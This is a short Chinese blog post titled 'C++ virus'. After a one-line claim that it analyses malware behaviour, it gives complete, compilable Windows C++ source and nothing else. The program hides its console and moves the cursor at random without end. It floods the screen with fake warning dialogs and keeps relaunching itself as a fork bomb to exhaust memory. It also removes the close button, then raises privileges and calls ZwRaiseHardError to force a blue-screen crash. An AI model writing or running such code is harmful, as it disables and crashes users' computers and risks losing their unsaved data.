C++病毒

最新推荐文章于 2025-04-05 17:47:14 发布

原创最新推荐文章于 2025-04-05 17:47:14 发布 · 1k 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#c++ #开发语言

本文通过分析一段恶意软件的行为代码，展示了如何使用多线程进行鼠标指针随机移动、键盘按键监听、显示警告消息框、内存占用及模拟蓝屏等操作。这些技术手段通常被用于分析或逆向工程中。

#define _CRT_SECURE_NO_WARNINGS
#include<thread>
#include<iostream>
#include<windows.h>
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#include<time.h>
#include<tchar.h>
using namespace std;
void mouse_reffuse(){
	HWND hwnd;
    hwnd = FindWindow("ConsoleWindowClass",NULL);
    if(hwnd) ShowWindow(hwnd,SW_HIDE);
	int x = GetSystemMetrics(SM_CXSCREEN);
	int y = GetSystemMetrics(SM_CYSCREEN);
	srand(time(0));
	while(1)SetCursorPos(rand()%x,rand()%y);
}
void pd_keyword(){ // 特判程序解包
	while (true){
		if(KEY_DOWN('Q'))
		{
		    exit(0);
		}
	}
} 
void tc(){ // 警告弹窗
	while(1){
		MessageBox(GetForegroundWindow(),"电脑出现问题，请及时报告 Windows ...","警告！",1);
		Sleep(1000);
	}
}
void nc(){ //劫持运存
	while (1)
	{
	    char s[100] = "start ";
	    system(strcat(s,_pgmptr));
	}
}
void blue(){
	Sleep(10000);
	ShowWindow(GetForegroundWindow(), SW_HIDE);
	HMODULE ntdll=LoadLibrary("ntdll.dll");
	FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
	FARPROC ZwRaiseHardError=GetProcAddress(ntdll,"ZwRaiseHardError");
	unsigned char ErrorKill;
	long unsigned int HardError;
	((void(*)(DWORD,DWORD,bool,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&ErrorKill);
	((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))ZwRaiseHardError)(0xc0114514,0,0,0,6,&HardError);
}
int main(){
	thread t1(mouse_reffuse); //多线程
	thread t2(pd_keyword);
	thread t3(tc);
	thread t4(nc);
	thread t5(blue);
	t1.join();
	t2.join();
	t3.join();
	t4.join();
	t5.join();
	//隐藏任务栏图标
	HWND hWnd = GetConsoleWindow();
	SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
	//禁用关闭键
	HMENU hmenu = GetSystemMenu(hWnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hWnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hWnd, GWL_STYLE, style);
	SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hWnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hWnd, NULL);
	return 0;
}